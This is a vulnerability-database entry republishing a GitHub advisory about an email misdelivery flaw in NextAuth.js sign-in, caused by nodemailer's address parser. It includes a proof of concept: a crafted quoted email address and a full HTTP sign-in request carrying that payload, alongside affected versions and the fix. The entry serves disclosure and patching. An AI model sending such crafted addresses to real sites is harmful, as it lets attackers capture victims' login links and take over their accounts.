Skip to content
Fencer Intel
medium —

GHSA-5jpx-9hw9-2fx4 json

NextAuthjs Email misdelivery Vulnerability

published last yr. modified 2mo ago

cvss
—
not scored
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

### Summary

NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in `nodemailer`'s address parser used by the project (fixed in `nodemailer` **v7.0.7**). A crafted input such as:

``` "e@attacker.com"@victim.com ```

is parsed incorrectly and results in the message being delivered to `e@attacker.com` (attacker) instead of `"<e@attacker.com>@victim.com"` (the intended recipient at `victim.com`) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.

<h2>Affected NextAuthjs Version</h2>

≤ Version | Afftected -- | -- 4.24.11 | Yes 5.0.0-beta.29 | Yes

## POC

Example Setup showing misdelivery of email

```jsx import NextAuth from "next-auth" import Nodemailer from "next-auth/providers/nodemailer" import { PrismaAdapter } from "@auth/prisma-adapter" import { prisma } from "@/lib/prisma"

export const { handlers, auth, signIn, signOut } = NextAuth({ adapter: PrismaAdapter(prisma), providers: [ Nodemailer({ server: { host: "127.0.0.1", port: 1025, ... }, from: "noreply@authjs.dev", }), ], pages: { signIn: '/auth/signin', verifyRequest: '/auth/verify-request', }, })

```

```jsx POST /api/auth/signin/nodemailer HTTP/1.1 Accept-Encoding: gzip, deflate, br, zstd Cache-Control: no-cache Connection: keep-alive Content-Length: 176 DNT: 1 Host: localhost:3000 Origin: http://localhost:3000 Pragma: no-cache Referer: http://localhost:3000/auth/signin Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 accept: */* accept-language: en-US,en;q=0.9,ta;q=0.8 content-type: application/x-www-form-urlencoded sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" x-auth-return-redirect: 1

email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin ```

<img width="1247" height="1408" alt="Screenshot from 2025-10-25 21-15-25" src="https://github.com/user-attachments/assets/456968a3-14ce-42b4-b8ca-f25b9351cf0f" /> <img width="1279" height="1450" alt="Screenshot from 2025-10-25 21-14-47" src="https://github.com/user-attachments/assets/4e665b66-9bfe-43ce-abd3-97880972218f" />

# Mitigation

Update to nodemailer 7.0.7

## Credits

https://zeropath.com/ Helped identify this security issue

Patch / fix

  • npm next-auth 4.24.12, 5.0.0-beta.30

Is GHSA-5jpx-9hw9-2fx4 in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

Affected packages

ecosystem package affected fixed in
npm next-auth
<4.24.12
>=5.0.0-beta.0, <5.0.0-beta.30
4.24.12
5.0.0-beta.30

Classification

Weakness
  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.

The maintainers of nextauthjs/next-auth published their own advisory on GitHub. Reviewed sources take precedence over it.